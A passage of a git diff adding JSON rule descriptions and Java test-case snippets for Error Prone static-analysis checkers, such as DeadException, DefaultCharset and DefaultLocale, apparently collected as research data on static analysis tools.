System.out.println(\"another statement after exception\");\n }\n }\n\n public void firstStatementWithNoSurroundingBlock() {\n if (true)\n // BUG: Diagnostic contains: throw new InterruptedException\n new InterruptedException(\"this should be thrown\");\n\n if (true) return;\n else\n // BUG: Diagnostic contains: throw new ArithmeticException\n new ArithmeticException(\"should also be thrown\");\n\n switch (4) {\n case 4:\n System.out.println(\"4\");\n break;\n default:\n // BUG: Diagnostic contains: throw new IllegalArgumentException\n new IllegalArgumentException(\"should be thrown\");\n }\n }\n\n public void testLooksLikeAJunitTestMethod() {\n // BUG: Diagnostic contains: throw new RuntimeException\n new RuntimeException(\"Not thrown, and reference lost\");\n }\n\n {\n // BUG: Diagnostic contains: throw new Exception\n new Exception();\n }\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 106 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n public class DeadExceptionNegativeCases {\n public void noError() {\n Exception e = new RuntimeException(\"stored\");\n e = new UnsupportedOperationException(\"also stored\");\n throw new IllegalArgumentException(\"thrown\");\n }\n\n public Exception returnsException() {\n return new RuntimeException(\"returned\");\n }\n }\\" + }, + { + "description": "negativeCaseWhenExceptionsUnthrownInTests", + "expected-problems": null, + "expected-linenumbers": [ + 133 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import junit.framework.TestCase;\n import org.junit.Test;\n\n /**\n * @author alexeagle@google.com (Alex Eagle)\n */\n public class DeadExceptionTestingNegativeCases extends TestCase {\n\n public void testShouldAllowTestingOfExceptionConstructorSideEffects() {\n try {\n new IllegalArgumentException((Throwable) null);\n fail();\n } catch (NullPointerException e) {\n // expected\n }\n }\n\n @Test\n public void shouldAllowTestingOfExceptionConstructorSideEffects() {\n try {\n new IllegalArgumentException((Throwable) null);\n fail();\n } catch (NullPointerException e) {\n // expected\n }\n }\n }\\" + }, + { + "description": "shouldAllowTestingOfExceptionConstructorSideEffects", + "expected-problems": null, + "expected-linenumbers": [ + 158 + ], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DeadThread.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DeadThread.json new file mode 100644 index 0000000..7f9c7ca --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DeadThread.json @@ -0,0 +1,30 @@ +{ + "name": "DeadThread", + "language": "java", + "description": "Thread created but not started", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 44, + "branches": 4, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "class Test {\n {\n // BUG: Diagnostic contains:\n new Thread();\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 47 + ], + "code": "class Test {\n {\n new Thread().start();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DeduplicateConstants.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DeduplicateConstants.json new file mode 100644 index 0000000..b066eb3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DeduplicateConstants.json @@ -0,0 +1,54 @@ +{ + "name": "DeduplicateConstants", + "language": "java", + "description": "This expression was previously declared as a constant; consider replacing this occurrence.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 163, + "branches": 15, + "apis": 4, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 28 + ], + "code": "class Test {\n static final String C = \"hello world\";\n\n void f() {\n System.err.println(\"hello world\");\n System.err.println(\"hello world\");\n }\n }\n \n\n class Test {\n static final String C = \"hello world\";\n\n void f() {\n System.err.println(C);\n System.err.println(C);\n }\n }" + }, + { + "description": "effectivelyFinal", + "expected-problems": null, + "expected-linenumbers": [ + 58 + ], + "code": "class Test {\n void f() {\n String C = \"hello world\";\n System.err.println(\"hello world\");\n System.err.println(\"hello world\");\n }\n }\n \n\n class Test {\n void f() {\n String C = \"hello world\";\n System.err.println(C);\n System.err.println(C);\n }\n }" + }, + { + "description": "negativeRecursiveInitializers", + "expected-problems": null, + "expected-linenumbers": [ + 86 + ], + "code": "class Test {\n static final String C = \"hello\";\n\n class One {\n static final String C = \"hello\";\n }\n\n class Two {\n static final String C = \"hello\";\n }\n }" + }, + { + "description": "negativeOnlyOneUse", + "expected-problems": null, + "expected-linenumbers": [ + 108 + ], + "code": "class Test {\n static final String C = \"hello world\";\n\n void f() {\n System.err.println(\"hello world\");\n }\n }" + }, + { + "description": "negativeTooShort", + "expected-problems": null, + "expected-linenumbers": [ + 126 + ], + "code": "class Test {\n static final String C = \".\";\n\n void f() {\n System.err.println(\".\");\n System.err.println(\".\");\n System.err.println(\".\");\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DeeplyNested.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DeeplyNested.json new file mode 100644 index 0000000..d25927b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DeeplyNested.json @@ -0,0 +1,54 @@ +{ + "name": "DeeplyNested", + "language": "java", + "description": "Very deeply nested code may lead to StackOverflowErrors during compilation", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 169, + "branches": 20, + "apis": 3, + "test": [ + { + "description": "refactoringReturn", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "import com.google.common.collect.ImmutableList;\n\n class Test {\n static ImmutableList createXs() {\n return ImmutableList.builder()\n .add(1)\n .add(2)\n .add(3)\n .add(4)\n // comment\n .add(5)\n .add(6)\n .add(7)\n .add(8)\n .add(9)\n .add(10)\n .build();\n }\n }\n \n\n import com.google.common.collect.ImmutableList;\n\n class Test {\n static ImmutableList createXs() {\n ImmutableList.Builder builder = ImmutableList.builder();\n builder.add(1);\n builder.add(2);\n builder.add(3);\n builder.add(4);\n // comment\n builder.add(5);\n builder.add(6);\n builder.add(7);\n builder.add(8);\n builder.add(9);\n builder.add(10);\n return builder.build();\n }\n }" + }, + { + "description": "refactoringField", + "expected-problems": null, + "expected-linenumbers": [ + 87 + ], + "code": "import com.google.common.collect.ImmutableList;\n\n class Test {\n static final ImmutableList XS =\n ImmutableList.builder()\n .add(1)\n .add(2)\n .add(3)\n .add(4)\n .add(5)\n .add(6)\n .add(7)\n .add(8)\n .add(9)\n .add(10)\n .build();\n }\n \n\n import com.google.common.collect.ImmutableList;\n\n class Test {\n static final ImmutableList XS = createXs();\n\n private static ImmutableList createXs() {\n ImmutableList.Builder builder = ImmutableList.builder();\n builder.add(1);\n builder.add(2);\n builder.add(3);\n builder.add(4);\n builder.add(5);\n builder.add(6);\n builder.add(7);\n builder.add(8);\n builder.add(9);\n builder.add(10);\n return builder.build();\n }\n }" + }, + { + "description": "refactoringNewBuilder", + "expected-problems": null, + "expected-linenumbers": [ + 139 + ], + "code": "import com.google.common.collect.ImmutableList;\n\n class Test {\n static final ImmutableList XS =\n new ImmutableList.Builder()\n .add(1)\n .add(2)\n .add(3)\n .add(4)\n .add(5)\n .add(6)\n .add(7)\n .add(8)\n .add(9)\n .add(10)\n .build();\n }\n \n\n import com.google.common.collect.ImmutableList;\n\n class Test {\n static final ImmutableList XS = createXs();\n\n private static ImmutableList createXs() {\n ImmutableList.Builder builder = new ImmutableList.Builder();\n builder.add(1);\n builder.add(2);\n builder.add(3);\n builder.add(4);\n builder.add(5);\n builder.add(6);\n builder.add(7);\n builder.add(8);\n builder.add(9);\n builder.add(10);\n return builder.build();\n }\n }" + }, + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 191 + ], + "code": "import com.google.common.collect.ImmutableList;\n\n class Test {\n ImmutableList xs =\n ImmutableList.builder()\n .add(1)\n .add(2)\n .add(3)\n .add(4)\n .add(5)\n .add(6)\n // BUG: Diagnostic contains:\n .add(7)\n .add(8)\n .add(9)\n .add(10)\n .build();\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 220 + ], + "code": "import com.google.common.collect.ImmutableList;\n\nclass Test {\n ImmutableList xs = ImmutableList.builder().add(1).add(2).add(3).build();\n}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DefaultCharset.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DefaultCharset.json new file mode 100644 index 0000000..4aaea22 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DefaultCharset.json @@ -0,0 +1,182 @@ +{ + "name": "DefaultCharset", + "language": "java", + "description": "Implicit use of the platform default charset, which can result in differing behaviour between JVM executions or incorrect behavior if the encoding of the data source doesn't match expectations.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 519, + "branches": 53, + "apis": 11, + "test": [ + { + "description": "bothFixes", + "expected-problems": null, + "expected-linenumbers": [ + 37 + ], + "code": "import java.io.*;\n\n class Test {\n byte[] f(String s) {\n // BUG: Diagnostic contains: 'return s.getBytes(UTF_8);' or 'return\n // s.getBytes(Charset.defaultCharset());'\n return s.getBytes();\n }\n }" + }, + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 56 + ], + "code": "import java.io.*;\n\n class Test {\n void f(String s, byte[] b, OutputStream out, InputStream in) throws Exception {\n // BUG: Diagnostic contains: s.getBytes(UTF_8);\n s.getBytes();\n // BUG: Diagnostic contains: new String(b, UTF_8);\n new String(b);\n // BUG: Diagnostic contains: new String(b, 0, 0, UTF_8);\n new String(b, 0, 0);\n // BUG: Diagnostic contains: new OutputStreamWriter(out, UTF_8);\n new OutputStreamWriter(out);\n // BUG: Diagnostic contains: new InputStreamReader(in, UTF_8);\n new InputStreamReader(in);\n }\n }" + }, + { + "description": "reader", + "expected-problems": null, + "expected-linenumbers": [ + 82 + ], + "code": "import java.io.*;\n\n class Test {\n void f(String s, File f) throws Exception {\n // BUG: Diagnostic contains: Files.newBufferedReader(Paths.get(s), UTF_8);\n new FileReader(s);\n // BUG: Diagnostic contains: Files.newBufferedReader(f.toPath(), UTF_8);\n new FileReader(f);\n }\n }" + }, + { + "description": "writer", + "expected-problems": null, + "expected-linenumbers": [ + 102 + ], + "code": "import java.io.*;\n\nclass Test {\n static final boolean CONST = true;\n\n void f(File f, String s, boolean flag) throws Exception {\n // BUG: Diagnostic contains: Files.newBufferedWriter(Paths.get(s), UTF_8);\n new FileWriter(s);\n // BUG: Diagnostic contains: Files.newBufferedWriter(Paths.get(s), UTF_8, CREATE, APPEND);\n new FileWriter(s, true);\n // BUG: Diagnostic contains: Files.newBufferedWriter(Paths.get(s), UTF_8, CREATE, APPEND);\n new FileWriter(s, CONST);\n // BUG: Diagnostic contains: Files.newBufferedWriter(f.toPath(), UTF_8);\n new FileWriter(f);\n // BUG: Diagnostic contains: Files.newBufferedWriter(f.toPath(), UTF_8, CREATE, APPEND);\n new FileWriter(f, true);\n // BUG: Diagnostic contains: Files.newBufferedWriter(f.toPath(), UTF_8);\n new FileWriter(f, false);\n // BUG: Diagnostic contains: Files.newBufferedWriter(f.toPath(), UTF_8, flag ? new\n // StandardOpenOption[] {CREATE, APPEND} : new StandardOpenOption[] {CREATE}\n new FileWriter(f, flag);\n }\n}" + }, + { + "description": "buffered", + "expected-problems": null, + "expected-linenumbers": [ + 135 + ], + "code": "import java.io.*;\n\nclass Test {\n void f(String s) throws Exception {\n // BUG: Diagnostic contains: try (BufferedReader reader = Files.newBufferedReader(Paths.get(s),\n // UTF_8)) {}'\n try (BufferedReader reader = new BufferedReader(new FileReader(s))) {}\n // BUG: Diagnostic contains: try (BufferedWriter writer = Files.newBufferedWriter(Paths.get(s),\n // UTF_8)) {}\n try (BufferedWriter writer = new BufferedWriter(new FileWriter(s))) {}\n }\n}" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 157 + ], + "code": "import static java.nio.charset.StandardCharsets.UTF_8;\nimport java.io.*;\n\nclass Test {\n void f(String s, byte[] b, OutputStream out, InputStream in, File f) throws Exception {\n s.getBytes(UTF_8);\n new String(b, UTF_8);\n new String(b, 0, 0, UTF_8);\n new OutputStreamWriter(out, UTF_8);\n new InputStreamReader(in, UTF_8);\n }\n}" + }, + { + "description": "ignoreFileDescriptor", + "expected-problems": null, + "expected-linenumbers": [ + 179 + ], + "code": "import java.io.*;\n\n class Test {\n void f(FileDescriptor fd) throws Exception {\n try (BufferedReader reader = new BufferedReader(new FileReader(fd))) {}\n try (BufferedWriter writer = new BufferedWriter(new FileWriter(fd))) {}\n }\n }" + }, + { + "description": "guavaReader", + "expected-problems": null, + "expected-linenumbers": [ + 197 + ], + "code": "import java.io.*;\n import com.google.common.io.Files;\n\n class Test {\n void f(String s, File f) throws Exception {\n new FileReader(s);\n new FileReader(f);\n }\n }\n \n\n import static java.nio.charset.StandardCharsets.UTF_8;\n import com.google.common.io.Files;\n import java.io.*;\n import java.io.File;\n\n class Test {\n void f(String s, File f) throws Exception {\n Files.newReader(new File(s), UTF_8);\n Files.newReader(f, UTF_8);\n }\n }" + }, + { + "description": "guavaWriterImportAppend", + "expected-problems": null, + "expected-linenumbers": [ + 231 + ], + "code": "import java.io.*;\n import com.google.common.io.Files;\n\n class Test {\n void f(String s, File f) throws Exception {\n new FileWriter(s, true);\n new FileWriter(f, true);\n }\n }\n \n\n import static java.nio.charset.StandardCharsets.UTF_8;\n import static java.nio.file.StandardOpenOption.APPEND;\n import static java.nio.file.StandardOpenOption.CREATE;\n import com.google.common.io.Files;\n import java.io.*;\n import java.nio.file.Paths;\n\n class Test {\n void f(String s, File f) throws Exception {\n java.nio.file.Files.newBufferedWriter(Paths.get(s), UTF_8, CREATE, APPEND);\n java.nio.file.Files.newBufferedWriter(f.toPath(), UTF_8, CREATE, APPEND);\n }\n }" + }, + { + "description": "guavaWriter", + "expected-problems": null, + "expected-linenumbers": [ + 267 + ], + "code": "import java.io.*;\n import com.google.common.io.Files;\n\n class Test {\n void f(String s, File f) throws Exception {\n new FileWriter(s);\n new FileWriter(f);\n }\n }\n \n\n import static java.nio.charset.StandardCharsets.UTF_8;\n import com.google.common.io.Files;\n import java.io.*;\n import java.io.File;\n\n class Test {\n void f(String s, File f) throws Exception {\n Files.newWriter(new File(s), UTF_8);\n Files.newWriter(f, UTF_8);\n }\n }" + }, + { + "description": "androidReader", + "expected-problems": null, + "expected-linenumbers": [ + 301 + ], + "code": "import java.io.*;\n\n class Test {\n void f(String s, File f) throws Exception {\n new FileReader(s);\n new FileReader(f);\n }\n }" + }, + { + "description": "androidWriter", + "expected-problems": null, + "expected-linenumbers": [ + 321 + ], + "code": "import java.io.*;\n\n class Test {\n void f(String s, File f) throws Exception {\n new FileWriter(s);\n new FileWriter(f);\n }\n }" + }, + { + "description": "variableFix", + "expected-problems": null, + "expected-linenumbers": [ + 341 + ], + "code": "import java.io.*;\n\n class Test {\n void f(File f) throws Exception {\n FileWriter w = new FileWriter(f);\n FileReader r = new FileReader(f);\n }\n }\n \n\n import static java.nio.charset.StandardCharsets.UTF_8;\n import java.io.*;\n import java.io.Reader;\n import java.io.Writer;\n import java.nio.file.Files;\n\n class Test {\n void f(File f) throws Exception {\n Writer w = Files.newBufferedWriter(f.toPath(), UTF_8);\n Reader r = Files.newBufferedReader(f.toPath(), UTF_8);\n }\n }" + }, + { + "description": "variableFixAtADistance", + "expected-problems": null, + "expected-linenumbers": [ + 375 + ], + "code": "import java.io.*;\n\n class Test {\n FileWriter w = null;\n FileReader r = null;\n\n void f(File f) throws Exception {\n w = new FileWriter(f);\n r = new FileReader(f);\n }\n }\n \n\n import static java.nio.charset.StandardCharsets.UTF_8;\n import java.io.*;\n import java.io.Reader;\n import java.io.Writer;\n import java.nio.file.Files;\n\n class Test {\n Writer w = null;\n Reader r = null;\n\n void f(File f) throws Exception {\n w = Files.newBufferedWriter(f.toPath(), UTF_8);\n r = Files.newBufferedReader(f.toPath(), UTF_8);\n }\n }" + }, + { + "description": "printWriter", + "expected-problems": null, + "expected-linenumbers": [ + 415 + ], + "code": "import java.io.File;\n import java.io.PrintWriter;\n\n class Test {\n void f() throws Exception {\n PrintWriter pw1 = new PrintWriter(System.err, true);\n PrintWriter pw2 = new PrintWriter(System.err);\n PrintWriter pw3 = new PrintWriter(\"test\");\n PrintWriter pw4 = new PrintWriter(new File(\"test\"));\n }\n }\n \n\nimport static java.nio.charset.StandardCharsets.UTF_8;\nimport java.io.BufferedWriter;\nimport java.io.File;\nimport java.io.OutputStreamWriter;\nimport java.io.PrintWriter;\n\nclass Test {\n void f() throws Exception {\n PrintWriter pw1 =\n new PrintWriter(new BufferedWriter(new OutputStreamWriter(System.err, UTF_8)), true);\n PrintWriter pw2 =\n new PrintWriter(new BufferedWriter(new OutputStreamWriter(System.err, UTF_8)));\n PrintWriter pw3 = new PrintWriter(\"test\", UTF_8);\n PrintWriter pw4 = new PrintWriter(new File(\"test\"), UTF_8);\n }\n}" + }, + { + "description": "byteString", + "expected-problems": null, + "expected-linenumbers": [ + 456 + ], + "code": "import com.google.protobuf.ByteString;\n\n class Test {\n void f() throws Exception {\n ByteString.copyFrom(\"hello\".getBytes());\n }\n }\n \n\n import com.google.protobuf.ByteString;\n\n class Test {\n void f() throws Exception {\n ByteString.copyFromUtf8(\"hello\");\n }\n }" + }, + { + "description": "byteStringDefaultCharset", + "expected-problems": null, + "expected-linenumbers": [ + 484 + ], + "code": "import com.google.protobuf.ByteString;\n\n class Test {\n void f() throws Exception {\n ByteString.copyFrom(\"hello\".getBytes());\n }\n }\n \n\n import com.google.protobuf.ByteString;\n import java.nio.charset.Charset;\n\n class Test {\n void f() throws Exception {\n ByteString.copyFrom(\"hello\", Charset.defaultCharset());\n }\n }" + }, + { + "description": "byteStringDefaultCharset_staticImport", + "expected-problems": null, + "expected-linenumbers": [ + 514 + ], + "code": "import static com.google.protobuf.ByteString.copyFrom;\n\n class Test {\n void f() throws Exception {\n copyFrom(\"hello\".getBytes());\n }\n }\n \n\n import static com.google.protobuf.ByteString.copyFrom;\n import java.nio.charset.Charset;\n\n class Test {\n void f() throws Exception {\n copyFrom(\"hello\", Charset.defaultCharset());\n }\n }" + }, + { + "description": "scannerDefaultCharset", + "expected-problems": null, + "expected-linenumbers": [ + 544 + ], + "code": "import java.util.Scanner;\n import java.io.File;\n import java.io.InputStream;\n import java.nio.channels.ReadableByteChannel;\n import java.nio.file.Path;\n\n class Test {\n void f() throws Exception {\n new Scanner((InputStream) null);\n new Scanner((File) null);\n new Scanner((Path) null);\n new Scanner((ReadableByteChannel) null);\n }\n }\n \n\n import static java.nio.charset.StandardCharsets.UTF_8;\n import java.io.File;\n import java.io.InputStream;\n import java.nio.channels.ReadableByteChannel;\n import java.nio.file.Path;\n import java.util.Scanner;\n\n class Test {\n void f() throws Exception {\n new Scanner((InputStream) null, UTF_8);\n new Scanner((File) null, UTF_8);\n new Scanner((Path) null, UTF_8);\n new Scanner((ReadableByteChannel) null, UTF_8);\n }\n }" + }, + { + "description": "withVar", + "expected-problems": null, + "expected-linenumbers": [ + 587 + ], + "code": "import java.io.File;\n import java.io.FileWriter;\n\n class Test {\n void f(File file) throws Exception {\n var fileWriter = new FileWriter(file);\n }\n }\n \n\n import static java.nio.charset.StandardCharsets.UTF_8;\n import java.io.File;\n import java.io.FileWriter;\n import java.nio.file.Files;\n\n class Test {\n void f(File file) throws Exception {\n var fileWriter = Files.newBufferedWriter(file.toPath(), UTF_8);\n }\n }" + }, + { + "description": "byteArrayOutputStream", + "expected-problems": null, + "expected-linenumbers": [ + 619 + ], + "code": "import java.io.ByteArrayOutputStream;\n\n class Test {\n String f(ByteArrayOutputStream b) throws Exception {\n return b.toString();\n }\n }\n \n\n import static java.nio.charset.StandardCharsets.UTF_8;\n import java.io.ByteArrayOutputStream;\n\n class Test {\n String f(ByteArrayOutputStream b) throws Exception {\n return b.toString(UTF_8);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DefaultLocale.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DefaultLocale.json new file mode 100644 index 0000000..516b9ef --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DefaultLocale.json @@ -0,0 +1,142 @@ +{ + "name": "DefaultLocale", + "language": "java", + "description": "Implicit use of the JVM default locale, which can result in differing behaviour between JVM executions.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 634, + "branches": 39, + "apis": 6, + "test": [ + { + "description": "testOnlyContainsSpecifiersInAllowList", + "expected-problems": null, + "expected-linenumbers": [ + 43 + ], + "code": "" + }, + { + "description": "formatMethods", + "expected-problems": null, + "expected-linenumbers": [ + 70 + ], + "code": "import java.io.*;\nimport java.text.*;\nimport java.util.Formattable;\n\nclass Test {\n static final String PATTERN = \"%d\";\n\n abstract static class F implements Formattable {}\n ;\n\n void f(PrintStream ps, PrintWriter pw, String pattern, F formattable) throws Exception {\n // BUG: Diagnostic contains: ps.format(Locale.getDefault(FORMAT), PATTERN, 42);\n ps.format(PATTERN, 42);\n // BUG: Diagnostic contains: ps.format(Locale.getDefault(FORMAT), \"%s\", formattable);\n ps.format(\"%s\", formattable);\n // BUG: Diagnostic contains: ps.format(Locale.getDefault(FORMAT), pattern, formattable);\n ps.format(pattern, formattable);\n // BUG: Diagnostic contains: ps.format(Locale.getDefault(FORMAT), \"%d\", 42);\n ps.format(\"%d\", 42);\n // BUG: Diagnostic contains: ps.printf(Locale.getDefault(FORMAT), \"%d\", 42);\n ps.printf(\"%d\", 42);\n // BUG: Diagnostic contains: pw.format(Locale.getDefault(FORMAT), \"%d\", 42);\n pw.format(\"%d\", 42);\n // BUG: Diagnostic contains: pw.printf(Locale.getDefault(FORMAT), \"%d\", 42);\n pw.printf(\"%d\", 42);\n // BUG: Diagnostic contains: String.format(Locale.getDefault(FORMAT), \"%d\", 42);\n String.format(\"%d\", 42);\n // BUG: Diagnostic contains: new MessageFormat(\"%d\", Locale.getDefault(FORMAT)).format(42);\n MessageFormat.format(\"%d\", 42);\n }\n}" + }, + { + "description": "formatMethods_negative", + "expected-problems": null, + "expected-linenumbers": [ + 111 + ], + "code": "" + }, + { + "description": "stringFormatted", + "expected-problems": null, + "expected-linenumbers": [ + 143 + ], + "code": "" + }, + { + "description": "displayMethods", + "expected-problems": null, + "expected-linenumbers": [ + 169 + ], + "code": "import java.util.*;\n\n class Test {\n void f(Currency currency) throws Exception {\n // BUG: Diagnostic contains: currency.getSymbol(Locale.getDefault(DISPLAY));\n currency.getSymbol();\n }\n }" + }, + { + "description": "factoryMethods", + "expected-problems": null, + "expected-linenumbers": [ + 187 + ], + "code": "import java.text.*;\nimport java.time.format.*;\n\nclass Test {\n void f(DateTimeFormatterBuilder dtfb) throws Exception {\n // BUG: Diagnostic contains: BreakIterator.getCharacterInstance(Locale.getDefault());\n BreakIterator.getCharacterInstance();\n // BUG: Diagnostic contains: BreakIterator.getLineInstance(Locale.getDefault());\n BreakIterator.getLineInstance();\n // BUG: Diagnostic contains: BreakIterator.getSentenceInstance(Locale.getDefault());\n BreakIterator.getSentenceInstance();\n // BUG: Diagnostic contains: BreakIterator.getWordInstance(Locale.getDefault());\n BreakIterator.getWordInstance();\n // BUG: Diagnostic contains: Collator.getInstance(Locale.getDefault());\n Collator.getInstance();\n // BUG: Diagnostic contains: NumberFormat.getCurrencyInstance(Locale.getDefault(FORMAT));\n NumberFormat.getCurrencyInstance();\n // BUG: Diagnostic contains: NumberFormat.getInstance(Locale.getDefault(FORMAT));\n NumberFormat.getInstance();\n // BUG: Diagnostic contains: NumberFormat.getIntegerInstance(Locale.getDefault(FORMAT));\n NumberFormat.getIntegerInstance();\n // BUG: Diagnostic contains: NumberFormat.getNumberInstance(Locale.getDefault(FORMAT));\n NumberFormat.getNumberInstance();\n // BUG: Diagnostic contains: NumberFormat.getPercentInstance(Locale.getDefault(FORMAT));\n NumberFormat.getPercentInstance();\n // BUG: Diagnostic contains: DateFormatSymbols.getInstance(Locale.getDefault(FORMAT));\n DateFormatSymbols.getInstance();\n // BUG: Diagnostic contains: DecimalFormatSymbols.getInstance(Locale.getDefault(FORMAT));\n DecimalFormatSymbols.getInstance();\n // BUG: Diagnostic contains: DateTimeFormatter.ofPattern(\"pattern\", Locale.getDefault(FORMAT));\n DateTimeFormatter.ofPattern(\"pattern\");\n // BUG: Diagnostic contains: dtfb.toFormatter(Locale.getDefault(FORMAT));\n dtfb.toFormatter();\n }\n}" + }, + { + "description": "factoryMethodsJdk12plus", + "expected-problems": null, + "expected-linenumbers": [ + 232 + ], + "code": "import java.text.*;\n\nclass Test {\n void f() throws Exception {\n // BUG: Diagnostic contains: NumberFormat.getCompactNumberInstance(Locale.getDefault(FORMAT));\n NumberFormat.getCompactNumberInstance();\n }\n}" + }, + { + "description": "dateFormat", + "expected-problems": null, + "expected-linenumbers": [ + 250 + ], + "code": "import static java.text.DateFormat.*;\nimport java.text.*;\n\nclass Test {\n void f() throws Exception {\n // BUG: Diagnostic contains: DateFormat.getDateTimeInstance(SHORT, SHORT,\n // Locale.getDefault(FORMAT));\n DateFormat.getInstance();\n // BUG: Diagnostic contains: DateFormat.getDateInstance(DEFAULT, Locale.getDefault(FORMAT));\n DateFormat.getDateInstance();\n // BUG: Diagnostic contains: DateFormat.getDateInstance(SHORT, Locale.getDefault(FORMAT));\n DateFormat.getDateInstance(SHORT);\n // BUG: Diagnostic contains: DateFormat.getTimeInstance(DEFAULT, Locale.getDefault(FORMAT));\n DateFormat.getTimeInstance();\n // BUG: Diagnostic contains: DateFormat.getTimeInstance(SHORT, Locale.getDefault(FORMAT));\n DateFormat.getTimeInstance(SHORT);\n // BUG: Diagnostic contains: DateFormat.getDateTimeInstance(DEFAULT, DEFAULT,\n // Locale.getDefault(FORMAT));\n DateFormat.getDateTimeInstance();\n // BUG: Diagnostic contains: DateFormat.getDateTimeInstance(SHORT, LONG,\n // Locale.getDefault(FORMAT));\n DateFormat.getDateTimeInstance(SHORT, LONG);\n }\n}" + }, + { + "description": "resourceBundle", + "expected-problems": null, + "expected-linenumbers": [ + 284 + ], + "code": "" + }, + { + "description": "resourceBundleJdk9plus", + "expected-problems": null, + "expected-linenumbers": [ + 309 + ], + "code": "" + }, + { + "description": "formatConstructors", + "expected-problems": null, + "expected-linenumbers": [ + 328 + ], + "code": "import java.io.*;\n import java.text.*;\n\n class Test {\n void f() throws Exception {\n // BUG: Diagnostic contains: new MessageFormat(\"%d\", Locale.getDefault(FORMAT));\n new MessageFormat(\"%d\");\n // BUG: Diagnostic contains: new DateFormatSymbols(Locale.getDefault(FORMAT));\n new DateFormatSymbols();\n // BUG: Diagnostic contains: new DecimalFormatSymbols(Locale.getDefault(FORMAT));\n new DecimalFormatSymbols();\n }\n }" + }, + { + "description": "decimalFormat", + "expected-problems": null, + "expected-linenumbers": [ + 351 + ], + "code": "" + }, + { + "description": "simpleDateFormat", + "expected-problems": null, + "expected-linenumbers": [ + 371 + ], + "code": "" + }, + { + "description": "formatter", + "expected-problems": null, + "expected-linenumbers": [ + 394 + ], + "code": "" + }, + { + "description": "refactoringAddLocaleImport", + "expected-problems": null, + "expected-linenumbers": [ + 442 + ], + "code": "import java.text.*;\n\n class Test {\n void f() throws Exception {\n MessageFormat.format(\"%d\", 42);\n }\n }\n \n\n import java.text.*;\n import java.util.Locale;\n\n class Test {\n void f() throws Exception {\n new MessageFormat(\"%d\", Locale.ROOT).format(42);\n }\n }" + }, + { + "description": "refactoringAddLocaleCategoryFormatStaticImport", + "expected-problems": null, + "expected-linenumbers": [ + 471 + ], + "code": "import java.text.*;\n\n class Test {\n void f() throws Exception {\n MessageFormat.format(\"%d\", 42);\n }\n }\n \n\n import static java.util.Locale.Category.FORMAT;\n import java.text.*;\n import java.util.Locale;\n\n class Test {\n void f() throws Exception {\n new MessageFormat(\"%d\", Locale.getDefault(FORMAT)).format(42);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DefaultPackage.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DefaultPackage.json new file mode 100644 index 0000000..f914603 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DefaultPackage.json @@ -0,0 +1,62 @@ +{ + "name": "DefaultPackage", + "language": "java", + "description": "Java classes shouldn't use default package", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 54, + "branches": 6, + "apis": 1, + "test": [ + { + "description": "positiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "// BUG: Diagnostic contains: DefaultPackage\n class Test {}" + }, + { + "description": "negativeCases_classWithGenerated", + "expected-problems": null, + "expected-linenumbers": [ + 46 + ], + "code": "import javax.annotation.processing.Generated;\n\n @Generated(\"generator\")\n class Test {}" + }, + { + "description": "negativeCases_classWithWarningSuppressed", + "expected-problems": null, + "expected-linenumbers": [ + 60 + ], + "code": "@SuppressWarnings(\"DefaultPackage\")\n class Test {}" + }, + { + "description": "negativeCases_classWithPackage", + "expected-problems": null, + "expected-linenumbers": [ + 72 + ], + "code": "package in;\n\n class Test {}" + }, + { + "description": "trailingComma", + "expected-problems": null, + "expected-linenumbers": [ + 86 + ], + "code": "package a;\n\n class T {}\n ;" + }, + { + "description": "moduleInfo", + "expected-problems": null, + "expected-linenumbers": [ + 100 + ], + "code": "module testmodule {}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis 